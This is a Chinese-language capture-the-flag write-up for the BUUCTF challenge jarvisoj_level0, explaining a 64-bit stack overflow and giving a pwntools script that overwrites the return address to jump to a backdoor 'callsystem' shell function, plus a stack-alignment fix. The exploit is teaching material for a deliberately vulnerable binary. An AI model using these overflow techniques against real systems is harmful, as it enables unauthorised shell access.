BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
徐子宸11 分钟前
金舟软件-AI对话工具-华为网络数通-网络通信基本概念-20260313-未完待续
安全·web安全·网络安全·安全架构·华为网络数通·金舟软件·ai对话工具
Acczdy23 分钟前
春秋云境:CVE-2025-64111
安全·网络安全
Eward-an1 小时前
Gemini认证工具创意开发(技术深度解析)
安全·网络安全·区块链
ShoreKiten2 小时前
SSTI专题(持续更新)
web·ctf·ssti·模板注入
Z1eaf_complete3 小时前
剖析目录遍历漏洞
安全·网络安全
数字供应链安全产品选型3 小时前
问境 AIST:以 AI 原生安全治理构建 AI 全生命周期安全治理新体系
网络安全
白帽子凯哥哥4 小时前
大一想打CTF,稍微学了些web想转pwn零基础要如何学习
学习·渗透测试·web·pwn·ctf
白帽子凯哥哥4 小时前
2026年网络安全面试实战指南
网络安全·面试·简历·实战能力
Atomic121387 小时前
HTTP隧道搭建
web安全·网络安全·渗透测试
观书喜夜长7 小时前
OpenClaw 本地安装与 Ollama 大模型接入实战教程-实现无限tokens使用
学习·网络安全